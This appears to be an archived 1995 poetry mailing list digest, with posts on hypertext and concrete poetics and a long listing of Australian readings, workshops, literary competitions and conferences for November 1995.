things would include toys, screwdrivers, human beings, hypertexts, baseballs and global information and control systems...

events would include heightened awareness, mindwashing, human beings, tripping (both senses), striking out and FUN...

the instrumentalist concept *tends toward* things (as means to ends), the epistemic concept *tends toward* events (as mutually contingent 'shapeshifting' processes)... but there are no hard & fast boundaries here, save to the extent one is attached to one's categories...

just some non-inklings, all a bit sloppy and unpolished, high in fiber, and mebbe not too difficult to digest...

joe

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645. **Burt Kimmelman**
Re: poetry w/ a tech slant: anthology
Mon 30 Oct 1995

Steve,

Thanks for your advice. Sorry I missed you at the last Orono conf. See you there this June?

Burt

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646. **Gale Nelson**
Re: wagering poetics
Mon 30 Oct 1995

Regarding Judith Goldman's work, her cubes are still in her possession (she is living in New York, but will be part of a "group reading" of New York poets here in Providence in mid-November; I'll ask her about their travel- ability at that time). The organ described by me is a description of her description of such item still living in the abstract (or still living in the abstract last I knew). Even as a notion, though, it has a nice sense of words living (breathing?).

More after mid-November, when I'll see Judith...

Gale Nelson

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647. **Jim Rosenberg**
Concrete Poetics Dialogue (was Hypertext & Poetry Possibilities)
Mon 30 Oct 1995

[My subscription is set to digest, so this is likely to cross other postings on this subject; apologies in advance if it looks like I'm ignoring somebody.]

me:
> [I'm gonna get myself in trouble for this]

Yup.

Jerry Rothenberg:
> Concerning Jim Rosenberg's digression regarding concrete poets & Black Mountain
> poets, etc., let me just say that it doesn't correspond at all to my memory
> of all of that. What I recall is a relative indifference back & forth, with
> as much occasional hostility on one side as on the other & several notable
> crossovers.

[...]
> the culpability of the Concrete Poets
> as such seems much too on-sided a view of the matter.

I'll stand corrected on this, but my basic point remains: whoever was responsible, real *dialogue* in poetics between visual poetics and other forms -- sound too, for that matter -- has been woefully insufficient, and we must do what we can to increase it.

Charles Alexander:
> While I admire the leaps into new worlds of visual possibilities of Jim
> Rosenberg's work, I don't think it needs to come with a putdown of earlier
> visual poetry, which, I think, has helped us rather than hindered us.

Oh dear. Charles, you misunderstood me *COMPLETELY*. There was no putdown intended against visual poetry -- the exact opposite. What I am speaking against is exactly the lack of interchange. It is from a belief in the *value* such a dialogue would have that I bemoan its absence.

Yes, there have been many "crossover" figures, as both Jerry and Charles point out. But in our *discourse* I find precious little attention to this cross-fertilization. If hypertext folk end up talking only to other hypertext folk it will be a sad sad day.

--
Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted] (if it bounces try [redacted])

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648. Dodie Bellamy
shapeshifting
Mon 30 Oct 1995

I'll be returning to San Francisco tomorrow and [redacted] will be biting the dust. I will again be the db in [redacted]

Thanks to all of you for keeping me company during my autumn in the midwest.

I'll be reading in Los Angeles Friday night, at Beyond Baroque--if anybody's around there.

Dodie Bellamy

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649. **Mark Roberts**

AWOL: November Happenings 1/2

Mon 30 Oct 1995

NOVEMBER Happenings

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NSW

SYDNEY

Every Thursday Writers Anonymous at Tap Gallery level 1 278 Palmer Street Darlinghurst. Details phone/fax [redacted]

Every Monday 7pm Monday Night Live, comedy, drama, dance, poetry, music, monologue and mime. At the Blue Fox Bar 274 Victoria Street Darlinghurst (opposite the fire station). Details phone Christo (02)[redacted] or Leslie (02) [redacted].

Every second Tuesday...POETRY SUPREME 9pm, Eli's Restaurant, 132 Oxford Street, Darlinghurst. Details phone/fax (02) [redacted]

Every Sunday...THE WORD ON SUNDAY 11.30am Museum of Contemporary Art, Circular Quay. 2 Admission $8/ $5.. Details phone (02) [redacted].

Every Thursday...POETRY ALIVE 11am-1pm, Old Courthouse, Bigge Street, Liverpool. Details phone (02) [redacted].

Every Tuesday night THE WALLS HAVE EARS 8.30 till late. Upstairs at the Little West Cafe 346 Liverpool Street Darlinghurst. Details Clare McGregor (02) [redacted].

1st and 3rd Wednesday ...POETS UNION 7pm, The Gallery Cafe, 43 Booth Street, Annandale. Details phone (02) [redacted].

1st Friday...EASTERN SUBURBS POETRY GROUP 7.30pm, Everleigh Street, Waverly. Details phone (02) [redacted].

1st Tuesday...ICEBREAKERS GAY POETRY 8pm, 197 Albion Street Surry Hills. $2 includes free coffee. Details phone Noel Tointon (02) 3172257.

2nd & 4th Thursday...FRESH WORDS 7.30pm The Poets Union on Oxford Street, Berkelouw Books, 19 Oxford Street Paddington. Guests and open section. Phone Anna (02) [redacted] or 015 704 364 or Nick Sykes (02) [redacted].

3rd Sunday 2 - 4pm INTERLUDES at the Lethington Community Centre 133 Smith Street Summer Hills. Poets, musicians and storytellers. Details ph Joye Dempsey (02) [redacted]

3rd Sunday...POETRY WITH GLEE: THE POETS UNION AT GLEEBOOKS. 2-4pm, 49 Glebe Point Road, Glebe. Admission $5/$2 Details Nick Sykes (02) [redacted].

4th Monday of each month...FUTURE POETS SOCIETY 8pm, Lapidary Club Room, Gymea Bay Road, Gymea. Details phone Anni Featherstone (02) [redacted].

4th Wednesday...LIVE POETS AT DON BANKS MUSEUM 7.30pm, 6 Napier Street North Sydney. Guest reader plus open section. Admission $6 includes wine. Details phone Sue Hicks or Danny Gardiner (02) [redacted].

Poets Union / State Library Workshops at the State Library Macquarie Street Sydney 4th Saturday. November 25 Luke Davies. Poets Union Inc. or The Library Society members $20 per workshop Non-members $25 per workshop. Details phone [redacted].

30 November 8pm Writers at the River, Roscoes Riverside Restaurant, Penrith, NSW. 'Loves labour lost' Jim Haynes Open Section included. Details contact Carl Leddy (047) 21 2087.

NOVEMBER AT ARIEL BOOKSELLERS

2 November 7pm. 3 parts Glamour. Gaby Naher (The Underwharf) and Linda Jaivin (Eat Me). A reading and discussion chaired by Justine Ettler (The River Ophelia). Free

Ariel Booksellers is at 42 Oxford Street Paddington. Phone (02) [redacted], fax (02) [redacted].

NOVEMBER AT GLEEBOOKS

1 November 6.30 pm. Amanda Lohrey in conversation. Reading from her new novel Camille's Bread. $6/$4.

2 November 6pm Launch of Lovers edited by Jean Bedford. This book features 8 women writers, Candida Baker, Veronica Brady, Anna Maria Dell'oso, Rosie Scott, Rose Creswell, Jan Mckemish, Gabrielle Lord and Jean Bedford writing about love. Free

8 November 6.30pm Readings from the Oxford Book of Australian Women's Poetry chaired by the editor, Susan Lever. $6/$4.

9 November 6.30pm Michael Leunig will be reading poetry from his new collection of poems and drawings You and Me. $6/$4.

10 November 7pm Peter Goldsworthy will be reading from his new novel Wish. $6/$4.

13 November 6pm Launch of While you were out... an anthology of poetry and prose from the University of Western Sydney. Free.

Gleebooks is at 49 Glebe Point Road Glebe. For details and bookings for all events ph (02) 6602333.

NSW WRITERS' CENTRE EVENTS

WOMEN WRITERS' NETWORK 2nd Wednesday. 7.30pm, NSW Writers' Centre. Details Ann Davis (02) [redacted].

FEMINIST & EXPERIMENTAL WRITERS' GROUP meets every second Friday 6.30-9.30pm. Details Margaret Metz (02) [redacted] or Valerie Williamson for details of venues.

LIFE STORIES: A weekend workshop with Patti Miller. 4 & 5 November 1995. This workshop is for people who want to get started on their life story or the life story of a family member. $65 (members NSWWC & conc) $80 (nonmembers). Bookings and details to NSWWC 02 [redacted].

MURDER AT THE NSW WRITERS CENTRE; A WEEKEND WORKSHOP WITH MARELE DAY 18-19 November 10am -4pm. This two day workshop will focus on getting feedback on ideas, working out a storyline and writing convincing scenes that will have the reader wanting more. Cost $110 (members) $150 (non members), Details and bookings (02) [redacted].

TECHNIQUES OF JOURNAL WRITING WITH ANGELIKA FREMD. Sat 2 and Sat 9 December 9.30 am to 5pm. This workshop will aim to acquaint participants with techniques of journal writing which will allow recorded material to be mined for use in autobiographical fiction writing. Cost $120 (members) $150 (non members). Details and bookings (02) [redacted].

Unless otherwise stated all NSWWC events are held at the centre in Rozelle Hospital grounds (enter from Balmain Road opposite Cecily Street and follow the signs).

REGIONAL NSW

ARMIDALE 1st Wednesday 7.30pm, Rumours Cafe in the Mall. Details phone James Vicars (067) 73 2103 .WOLLONGONG 2nd & 4th Tuesday 7.30pm, Here's Cheers Restaurant, 5 Victoria Street, Wollongong. Details phone Ian Ryan (042) 84 0645.

LISMORE 3rd Tuesday 8pm. Stand Up Poets, Lismore Club, Club Lane. Details phone David Hallett (066) 891318.

NEWCASTLE / HUNTER VALLEY

3rd Monday... Poetry at the Pub. Northern Star Hotel, 7.30pm Beaumont Street Newcastle Street $2/$1. Details phone Bill Iden (049) 675 972

MAITLAND Poetry group 4th Friday 7.30, Literary Institute in Banks Street East Maitland. 24 November Favourite poem or poet. $2. Details phone Bruce Copping (049) 301497.

BLUE MOUNTAINS Friday Nights at Varuna Writers' Centre 7.30pm: Includes tea, coffee & biscuits. $2 buys entry and a lucky door ticket. Varuna Writers' Centre, 141 Cascade Street Katoomba NSW 2780. Details ph Peter Bishop (047) 825 674.

WAGGA WAGGA

Tuesday 5 November 7.00pm, BOORANGA WRITERS' CENTRE, Charles Sturt University Wagga campus - LAUNCH OF fourW no. 6 by Margaret McAlister, children's book author (I know it's Melbourne Cup night but literary punters will put their money on WWWW at Booranga!!)

Saturday 18 and Sunday 19, Booranga Writers' Centre, CSU, 12 noon - 5.30 pm each day: LIFE STORIES: A weekend writing workshop with Tony Reeder Cost: $35 per person for the weekend

Enquiries: David Gilbey (069 332465)

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SOUTH AUSTRALIA

ADELAIDE

2nd & 4th Tuesday Poets in the Pub The Governor Hindmarsh Hotel 59 Port Road 8pm. Open readings. Details phone Barry McKee (08) [redacted].

Every Friday Interactive Port O'Call opposite Johnny Rockets at the rear of 281 Rundle Street. 8.30pm. Open reading. Free. Details phone (08) 2236113.

3rd Thursday Salisbury Writers Meetings at the Salisbury Central Library 6.30-8.30pm. Visitors and new members welcome. Details phone (08) [redacted].

3 November The Enfield Writers Club will launch their third anthology, After the ink has dried, at the Civic Centre Hall, 112 Hampsted Road Broadview. Details phone Michael Hopwood (08) 4347.

5 November The Hills and Valley Writers present Writers in the Library with Moya Costella at the Hub Community Library, Aberfoyle Park. Moya will conduct a morning workshop on 'Writing your life' and will read from her work in the afternoon. Details and bookings Gwen Malton (08) [redacted] or (03) [redacted].

7 November 20 Anniversary of the Friendly Street Poetrys. The Anniversary meeting will ivolve merchandising, a book sale, and a special double open reading: the last chance for performers to be selectedby the editors of the 20th

edition of the Friendly Street Poety Reader. For further details contact Stephen Lawrence phone (08) [redacted] fax (08) [redacted] email [redacted], or Glen Murdoch on (08) [redacted].

11 November 1pm -4 pm The Seaside Writers' Group present A Creative Writing Workshop (sponsored by the Writers' Centre) at the Glenelg Community Centre 20 Tarlton Street Somerton Park. Cost $5. Details phone Gail (08) 2770329.

Writers' Centre SA Events

Every 2nd Wednesday 10am. City Scribes writers group meet at the Writers' Centre. Details phone Jenny (08) 2948602 or Jeanne (08) [redacted].

Every 2nd Wednesday 7.30pm Children's Writers Group meets at the Writers' Centre. This is a discussion group for active children's writers. Details phone Jeri Kroll (08) 269627.

4 November Romance fiction conference "Show and tell'. Sponsored by the Romance Writers of Australia. Cost from $55 to $70. Details phone Helen McKerral (08) [redacted] or Gillian Curtain (08) [redacted].

5 November 11am - 4.30pm 'Getting Published' A seminar providing an insight into the secrets of publishing in Australia and overseas. Speakers include Sherry-Anne Jacobs (WA writer of historical fiction, science fiction and romances), Phil Cummings (children's writer) and David de Vries and Glenn Lumsden (comic books). There will also be a panel of publishers from Wakefield Press, Omnibus Books and Openbook. Cost $30/$20 concession (WCSA members) $40 (non members).

5 November 2pm Sunday Prose Reading. Bring along ten minutes of your stuff to try out on other writers. Details phone John (08) 3367474.

Beginning 6 November and then on successive Mondays Diary Writing by Women course run by UK writer and academic, Susan Richardson. The course will look at the published diaries of women from countries as diverse as China, Australia and Brazil. Prison diaries, travel accounts and journals by famous literary women. Participants will also be encouraged to analyse their own writing habits. Cost $90 ($50 conc). Details and enrolments phone (08) 2981495.

Unless otherwise stated all Writers' Centre of South Australia events are held at the Centre 187 Rundle Street Adelaide. Details phone Mary Combe (08 [redacted], fax (07) [redacted],

REGIONAL SOUTH AUSTRALIA

Last Sunday of the month 2pm Gawler Poetry at the Railway Family Hotel, corner 18th and 15th Streets Gawler. Open Readings. Free Details phone Martin Johnson (085) 224268.

Every second Monday Yankalilla District Writers' Group meets from 9.30pm at the RSL Hall Main Road Normanville. Details phone Claire Brooks (085) 582294.

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QUEENSLAND

Wordsmith Cafe Readings 2 November 10.30pm Brisbane writer Estelle Pinney will read from her latest book Time out for Living and Michael Noonan will read from his autobiography In with the tide. 14 November 10.30am Peter Goldsworthy will read from Wish.

Queensland Writers Centre Events

EXCITING WRITING: READINGS OF NEW WORKS AT THE QUEENSLAND WRITERS' CENTRE

28 November 7.30pm 'The Bold and the Beautiful' featuring horror writer Graeme Hague, best selling fiction writer Jennifer Bacia and romance writer Lynsey Stevens. Cost is $10 for QWC members ($15 non members).

29 November 10am -3pm Popular Fiction Writing & Publishing Workshop conducted by Graeme Hague. Graeme is a successful horror writer with combined sales of over 40,000 to date. His workshop will look at: getting published, authors and editors, specific genre writing, exploring the market, presenting the manuscript and agents and overseas contacts. Cost $50 (QWC members) $75 (nonmembers). For further details contact the QWC.

Unless otherwise stated all QWC events are held at 535 Wickham Terrace Brisbane. Phone (07) 3839 1243, fax (07) 3839 1245, email
[redacted]

NOW AVAILABLE FROM THE QUEENSLAND WRITERS' CENTRE.....
HANDBOOK FOR QUEENSLAND WRITERS.

Contents include Preparation, Representation, Professional Issues and Development and Funding. Cost $10 plus $1.50 postage for QWC members 0r $15 plus $1.50 for non members. For more information contact the QWC.

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↑ Index

650. **Mark Roberts**

AWOL: November Happenings 2/2

Mon 30 Oct 1995

VICTORIA

Last Friday 6.30pm MELBOURNE POETS Meeting and reading/workshop The Hawthorn Lower Town Hall, 360 Burwood Road, Hawthorn (entry and car parking at rear). 6.30pm meeting begins, 7.30pm reading/ workshop begins. Cost $3 (Members), $5 (non members). Details write to Martin French 1/16 Kent Road Surrey Hills Vic 3127.

La Mama Poetica La Mama 205 Faraday St Carlton. For details on November reading contact Catherine Bateson Phone (054) 221680 3rd Sunday each month; 2pm Readings at the Eaglemont Bookshop 525 Brunswick St North Fitzroy. These readings apparently have been a little irregular over recent months so contact Shelton Lea ph (03) 4863219 to confirm.

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WESTERN AUSTRALIA

DISK READINGS are held on the Third Tuesday of each month at Pockets Cocktail Lounge 44 Lark Street Northbridge. Tues 21 Launch of Salt. Readers include John Kinsella, Andrew Burke, Tracy Ryan, Alison Georgesen and Peter Holland (reading Pie O's "Ocker" poem!). Admission is free. Details Mike Shuttleworth ph. (09) 4304991.

** ** **

The Katherine Susannah Prichard Writer's Centre, at 11 Old York Rd Greenmount, is perched on the side of the Darling Range, looking towards the towers of Perth and the setting sun. It is surrounded by National Park and the developing suburbs of the Hills district. The place is small and friendly and the kettle is nearly always on the boil.

The Centre holds readings on the first Sunday of the month at 7.30pm. Three invited readers are featured. Cost is $5/$4 and includes light refreshments. Faye Davis is currently writer-in-community working on a project called 'Writing in the Hills' Changes'. She is running moderately priced ($3.50 a session) workshops in the district, and is available for consultation at the house by appointment. (this project is supported by the Australia Council).

The house itself, former home of Katherine Susannah Prichard, is heritage listed and tours cost $5. Wednesday and Sunday are tour days. Ring first to book. A small writer's studio, once used by Katherine, is now used by writers-in-residence. The KSP Foundation, the Centre's management body, is currently

investigating the possibility of letting the Studio on a short term basis to writers from the city, country and/or interstate.

Ring Rob Finlayson, the co-ordinator, on Thursdays, between 10.30am and 5.30pm (09) [redacted]., to chat about writing and writers, and to find out what's happening in the Hills of Perth and the sunburnt city at their feet. At other times ring the Chairperson, Rose van Scon (09) [redacted].

Fremantle Arts Centre Press's has a WWW web site: http://www.iinet.net.au/~bryce/facp.html. The page includes details of up-coming titles, a full backlist catalogue, and listings of recent books, updated regularly.

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TASMANIA

4 -5 November Mini weekend workshop 'How to write books' with Writer-in-Community Lindsay Simpson 10am-3pm. Port Arthur Historic Site. Free. Details phone Sue Burgess (002) 50 2290.

Wednesdays 8 November - 13 December 10am -3pm. Writer-in Community workshops with Lindsay Simpson 'How to write books'. Port Arthur Historic Site. Free. Details phone Sue Burgess (002) 50 2290.

Lindsay Simpson will also be reading from her work at the Broad Arrow Restaurant at Port Arthur and the Eaglehawk Cafe during November. Details phone Sue Burgess (002) 50 2290.

5 to 11 November Virginia Woolf (alias Sara Hussen Benn) will be entertaining visitors at the Writers' Cottage. Details TWU on (002) 240029.

11 November. Green poets wanted to read at a lunch and garden party, at Betty Nicholls', 52 Montague St, New Town. Bring $5 and a plate. Proceeds to the Greens. Enquiries TWU 240029.

November 19 (day) Book launch, madeline by Ann James and Anna Fienberg, Sunday, at the Children's Book Room, Battery Point. Details, Coral Tulloch, (002) 243 980.

Wednesday November 29th Tasmanian Writers Union Members' Benefit Night, at the Bavarian Tavern 28 Liverpool Street Hobart at 7.30 pm. Details phone TWU (002 240029)

14-17 March 1996 Salamanca Writer Festival. Presented by TWU, the University of Tasmania and the Salamanca Arts Centre. Program includes Young Writers and Readers Festival, and Fringe events. Details phone Subi (002) 384 414, Marjorie (002) 344 384 or Fiona (002) 240 029.

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NORTHERN TERRITORY

Darwin

4 November FAW workshop: Wendy Hansen on the business of freelancing. 2-5pm Frog Hollow Arts Precinct, 56 McMinn Street Darwin.

25 November Publish or be Damned!: The Bold and Beautiful approach to Publishers. Tutor; editor Janet Blagg. Workshop covers: # How to set out and present your manuscript, # Deciding who to send it to, # What you should send, # Covering letter, # How to write a publishing proposal, # Book publishing/manuscript editors. 2-5pm Frog Hollow Arts Precinct, 56 McMinn Street Darwin.

Alice Springs

Award winning Victorian writer Barry Hill will be conducting writers' workshops at the YWCA in Alice Springs over the first two weekends of November. The workshops are the last in a series Barry has conducted in Alice this year during his stint as Literature Board sponsored Writer in the Community.

Workshop 1, 4-5 November 1.30 - 5pm each day. Finding your voice. A workshop designed both for those who have made a start in writing and those who have not. The focus will be on autobiographical poetry and prose. Two sessions composed of close reading, writing exercises and student presentation of their work. Cost $5 per session.

Workshop 2, 11-12 November 1.30 - 5pm each day. Your Sacred Place and other Cultures. A workshop on the task of finding/defining in your work/self that which is of central importance. This project is tackled by reference to our understanding of other cultures. The focus is on selected poetry and prose in translation with two sessions composed of close reading, writing exercises and the presentation of one's own work. Cost $5 per session.

For further information about any of these events contact Andrew McMillan, Literature Officer, Northern Territory Community Writing Program GPO Box 1774 Darwin NT 0801, phone/fax (089) 412651.

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COMPETITIONS

24th NOVEMBER: SUTHERLAND SHIRE COUNCIL SHORT STORY COMPETITION $500 in cash prizes to be won and stories published in Artbeat. Any topic, 1500-2000 words. Category A: Age 19 years and over 1st Prize $250, 2nd Prize $100. Category B: Age 18 years and under 1st Prize $100, 2nd Prize $50. Sutherland Shire Council and the sponsors reserve the right to publish all or part of a particular story for up to 2 years. Council will not have sole

copyright of each entry and stories may therefore be published elsewhere. Present your submission on A4 paper preferably typed, specifying which category you are entering. Judges decision will be final and the winners will be announced and printed in the December/January edition of ARTbeat. Send entries to: Genevieve Antill, ARTbeat c/Sutherland Entertainment Centre, Eton St, Sutherland NSW 2232.

30TH NOVEMBER NITA B KIBBLE LITERARY AWARD FOR WOMEN WRITERS For a published book of fiction or nonfiction classifiable as "life writing". Value of 1996 Award: $15,000. The work is to be of or in connection with normal Australian life, written in English language and have a minimum length of 50,000 words. For conditions and entry form: Charitable Trusts Manager, Perpetual Trustees, 39 Hunter St Sydney NSW 2000 (02) [redacted].

30TH NOVEMBER NITA MAY DOBBIE LITERARY AWARD FOR WOMEN WRITERS Encouragement Award to Women Writers for a FIRST published book of fiction or nonfiction classifiable as "life writing". Value of 1996 Award: $5,000. This award is intended as encouragement prize to Australian Women writers who have not yet achieved a professional reputation as writers. The award is for an author's FIRST published book. The work is to be of or in connection with normal Australian life, written in the English language and have a minimum length of 50,000 words. For conditions and entry form: Charitable Trusts Manager, Perpetual Trustees, 39 Hunter St Sydney NSW 2000 (02) [redacted].

30 NOVEMBER EMMA DARCY AWARD for unpublished romance manuscripts between 45,000 and100,000 words, first prize $2,000.Guidelines and entry forms from 21 Violet Street Miranda NSW 2228.

30 NOVEMBER PAPYRUS PUBLISHING SEVENTH LITERARY COMPETITION Minimum age 18. There are three categories - short stories (up to 3,000 words); open poetry and haiku with an Australian theme. First prize in each category is $80. Second and third prizes is a Papyrus Publishing book voucher. Details from Papyrus Publishing PO Box 144 Upper Fern Tree Gully Victoria 3156. Phone (03) 9758 7395, fax (03) 9752 4034.

30 NOVEMBER 4TH TOM HOWARD MYSTERY NOVEL AND SHORT STORY COMPETITION. Minimum 35,000 words for unpublished mystery novel written in the first person. Prize for best novel $1,250 cash (incl. advance royalties) plus publication. Prize for short stories: Three cash prizes: $400, $250 and $100, incl. fees for once-only publication rights Preference given to unpublished work. Published novels and stories only considered if author holds Australian publication rights. For entry forms: 26 Casey Drive, Wyong NSW 2259.

30 NOVEMBER VARUNA FELLOWSHIPS Writer's retreat fellowships for January June 1996 offer writers in all genres throughout Australia three weeks

of space and time to work intensively on projects in the Varuna Writers' Centre in the Blue Mountains. New Writers' Fellowships are available to new writers of any age and in any medium who are working on a major project but have not yet received significant publication or performance. Three week Fellowships are being offered between January and June 1996. Details phone (047) 82 5674.

1 DECEMBER MARY GRANT BRUCE STORY COMPETITION 1st prize is $1,000 for a story of up to 3,000 words on an Australian Childhood. Details and entry forms from the Victorian Writers' Centre 156 George Street Fitzroy Victoria 3065.

8 DECEMBER INAUGURAL CALAMBEEN LITERARY COMPETITION Prizes of $100 and $50 will be awarded for the categories of poetry and short stories. There is also a $50 prize for poetry with a celebratory theme and $50 for a Haiku. $3 entry fee. Send SAAE to the Co-ordinator, PO Box 35, Creswick VIC 3363.

31 DECEMBER TOM COLLINS POETRY PRIZE
This prize is for unpublished poems up to 60 lines. 1st prize $500. For details send SSAE to 15 Birch Street Attadale WA 6156

31 DECEMBER REPUBLIC PRIZE A prize of $1,000 will be awarded to the writer of a work of fiction, poetry, biography, memoir or history published in 1995 which expresses the aims of the Republic. Details: GPO Box 5150 Sydney 2001.

31 DECEMBER CLIFF STREET PUBLISHING seeks fiction submissions over 25,000 words by one writer. The writing submitted can be either a complete work of fiction or a collection of short stories. Send MS and SSAE to The Editor, FICTION, Cliff Street Publishing, 22/11 Cliff St, Fremantle WA 6160.

NOVEMBER 95 TO JANUARY 96 AUSWRITE SHORT STORY COMPETITION Entries will be accepted from November to January with results published in March 1995. (No details provided on prizes). $5 entry fee per story. Limit 2,000 words. For details and entry forms contact Auswrite, PO Box 327 Mascot NSW 2020.

10 FEBRUARY: TOP DOG JOURNAL ANNUAL SHORT STORY & POETRY COMPETITION. Short story to 1200 words, poems to A4 length. Must be about dogs. Attach signed statement: 'I am happy for this entry to be published should it receive an award in the Top Dog Journal'. State age if under 21. Top Dog Journal, PO Box 29, Berwick Vic 3806.

TASMANIAN TRADES AND LABOUR COUNCIL 1996 MAY DAY SHORT STORY COMPETITION "Working lives' For details and entry forms contact Chris Trousselot (002) 287 866).

CONFERENCES

SYMPOSIUM: (POST) COLONIAL FICTIONS: RE-READING ELIZA FRASER AND THE WRECK OF THE STIRLING CASTLE.

University of Adelaide, 25-26 Nov., 1995.

Contact: Kay Schaffer, Department of Women's Studies, 08 [redacted] direct, 08 [redacted] FAX, e-mail: [redacted]

Post-colonial studies within Australia have attempted to re-evaluate and re-write colonial history to include those people either marginalised or subjugated by the colonial process. This two day symposium will explore a different aspect of post-colonial discourse through the exploration of one of the best known events in Australian colonial history. In 1836 the 'Stirling Castle' was wrecked off the Queensland coast and many of the crew together with the Captain's wife, Eliza, were marooned on Fraser Island. Events surrounding the rescue of the castaways, in particular Mrs. Fraser, received international media attention. In the last 160 years the story of Eliza Fraser has become the subject of popular myth, fiction, opera, art, film and scholarly research in the areas of cultural studies, literature, history, anthropology, archaeology, women's studies, and the visual arts. (Post) Colonial Fictions will examine critically the Eliza Fraser saga by bringing together, for the first time, an interdisciplinary team of academics, authors, artists and members of the Fraser Island community. Discussions will include feminist analyses of the incident, textual and iconographic representations of Aboriginal people, and Eliza Fraser as a creative inspiration for the arts.

Speakers on 19th century ethnography, visual arts, and Fraser Island history include: Ian Mc Niven, Lynette Russell, Rod McNeil, Olga Miller, Elaine Brown; on 20th century cultural studies and Batdjala representations include: Kay Schaffer, Sue Kossew, Jim Davidson, Jude Adams and Fiona Foley. We are hopeful that the symposium will include an exhibition of Fiona Foley's works and a performance by University of Adelaide Conservatorium of Music students of the theatre opera: "Eliza Fraser Sings" (arranged by Peter Sculthorpe/libretto by Barbara Blackman).

BECOMING AUSTRALIANS: THE MOVEMENT TOWARDS FEDERATION IN BALLARAT AND THE NATION

December 1 and 2, 1995 Ballarat. Presented by the Australian Studies Team University of Ballarat

Combining national with regional perspectives, this conference promises to provide new insights into the social and political forces which influenced the development of a sense of 'being Australians' in the years leading up to and immediately following federation.

Organized by the Australian Studies Team at the University of Ballarat, the conference aims to elucidate the many aspects of what it meant to be Australian during this period, and how this in turn influenced the progress of the federation movement.

The value and relevance of these historical concerns will be related to current debates regarding citizenship, republicanism and Australian political and cultural awareness.

Speakers include: Hon John Bannon, former Premier of South Australia and author of The Crucial Colony: South Australia's Role in Reviving Federation.. Professor Weston Bate, historian and author of a two volume history of Ballarat. Professor Geoffrey Blainey, Chancellor of the University of Ballarat and historian. Dr John Hirst, Reader in History at LaTrobe University and author of A Republican Manifesto. Dr Helen Irving, Reader in Politics at the University of Technology, Sydney and author of the forthcoming To Constitute a Nation.. Hon Joan Kirner AM, former Premier of Victoria and Chairperson of the Centenary of Federation Advisory Committee. Professor Stuart Macintyre, of Melbourne University, who has recently edited Alfred Deakin's account of federation.

Among those representing literary aspects of the conference will be: Dr. Richard Jordan, Dr. Meg Tasker, and Rod Sadler, all of the University of Ballarat.

The conference will also include a bus tour featuring Ballarat's Federation Architecture.

Full registration (2 days) $85
Students/unwaged (2 days) $50
Conference dinner $45

Make cheques payable to University of Ballarat and post to:

Philippa Watt
Conference Convenor
School of Behavioural and Social Sciences and Humanities University of Ballarat
PO Box 663
Ballarat VIC 3353

Enquiries contact School secretary on (053)279610 FAX: (053) 279840 or Richard Jordan, School of Behavioural & Social Sciences & Humanities University of Ballarat. email [redacted]

AUSTRALIAN STUDIES AND THE SHRINKING PERIPHERY: SURFING THE NET FOR AUSTRALIA.

The Centre for Australian Studies in Wales, University of Wales, Lampeter, are hosting this conference next year. Organisers are calling for papers.

"In recent years the consolidation of Europe into the 15 states of the EU, the integration of east and west within Europe, and the progressive turning of Australia to its own Pacific backyard have furthered the impression of periphery: one world's edge looking distantly at the other."

The contacts are:

Dr Graham Sumner and Dr Andrew Hassam
Centre for Australian Studies in Wales
University of Wales
Lampeter
Dyfed, SA48 7ED,
Wales, UK.

Telephone: Graham Sumner [redacted] or 424790 (secretary) Fax: [redacted] Andrew Hassam [redacted] (secretary) Fax [redacted] E-mail: [redacted] or [redacted] Offers of papers should reach the organisers by 31 December 1995, and comprise a full title and an abstract of no more than 100 words.

Further information will be sent when available, and will appear on the Centre's WWW home-page (htp://www.lamp.ac.uk/oz).

THE WHOLE VOICE
2nd National Conference on Poetry, 3-5 November 1995 University of Sydney

The Whole Voice Poetry Conference aims to bring together those with an active interest in and involvement with poetry in Australia. The conference is a national one and is a follow-up to "The Space of Poetry" conference held at Melbourne University in 1993. It is being jointly organised by the University of Sydney and the Poets' Union.

The 1995 conference will include poetry readings and papers from poets, editors, academics and publishers. Poets reading include Judith Beveridge, Laurie Duggan, Susan Hampton, J.S. Harry, Jill Jones, Donna McSkimming, Jan Owen, Geoff Page, Margaret Scott, Andrew Taylor, and Richard Tipping. Paper-givers include Peter Steele, Susan Hawthorne, Rosemary Huisman, Christopher Kelen, Jeri Kroll, Martin Langford, and Max Richards. Richard Allen and Karen Pearlman will present a performance of dance and poetry on Friday evening and Richard Tipping, will co-ordinate a display of visual poetry. These two events will present other views of the idea of "voice" in poetry. There will also be time for open readings and discussion.

"The Whole Voice" theme was glossed as : "a poetry that speaks as fully as possible, that allows the repressed to speak, that doesn't reject or diminish emotion, intellect or craft." The organisers expect this position to generate debate and creative argument, as the idea of "voice" is contentious. "The practising writer's idea of voice is an intimate friend," comments a poet. "Voice is a literary construction, with all the historical contingency which that implies," writes an academic. The very understanding of "voice" is basic to dialogue between all participants.

Date: 3rd to 5th November 1995
Venue: Woolley Building, University of Sydney

Cost: Early Registration (by 22 Sept): $80; Full Registration $90 (Student/Unwaged: $45). Day Full Registration ($50, Day Student $25). Registration includes Friday evening reception, am and pm teas, Sunday morning coffee.

Contact: Rosemary Huisman, Dept English A20, Uni of Sydney NSW 2006. Ph: (02) [redacted]. Fax: (02) [redacted]. e-mail: [redacted]. Jill Jones. Ph: (02) [redacted]. e-mail: [redacted] Martin Langford. Ph: (02) [redacted]

3RD INTERNATIONAL/AUSTRALIAN CONFERENCE: RELIGION LITERATURE AND THE ARTS.

18 - 21 January 1996 Sancta Sophia College, University of Sydney. Invited speakers include: Karen Armstrong - a well known broadcaster from the UK and author of a number of books including The Gospel According to Woman, Tongues of Fire (an anthology of religious poetry) and A History of God, Professor Peter Steele SJ - professor of English, University of Melbourne and a poet and critic, Professor Elizabeth Isichei - Professor of Religious Studies, University of Otago New Zealand. She has written widely on African history and religion and, more recently, on religion and art in New Zealand, Nigel Butterley - a well known composer, Professor David Parker - Professor of English at the Australian Catholic University and Al Zolynas - a San Diego based poet. There will also be a Women's Artists' Forum with artists Kate Briscoe, Liz Coates and others and a Wirtiers Forum including Rae Desmond Jones, Sara Dowse and others. Wing-It! Performance Ensemble from San Francisco (Phil Porter & Cynthia Winton- Henry).

Cost - Registration, including meals $160 (conc $130), Conference dinner $30. Accommodation is available in Sancta Sophia College at $40 per night including breakfast.

For further information contact Dr Michael Griffith, Department of Literature and Languages, Australian Catholic University, 179 Albert Road Strathfield NSW 2135. Phone (02) 7392192, Fax (02) 7392105.

1996 NATIONAL CHILDREN'S BOOK COUNCIL OF AUSTRALIA 'CLAIMING A PLACE'.

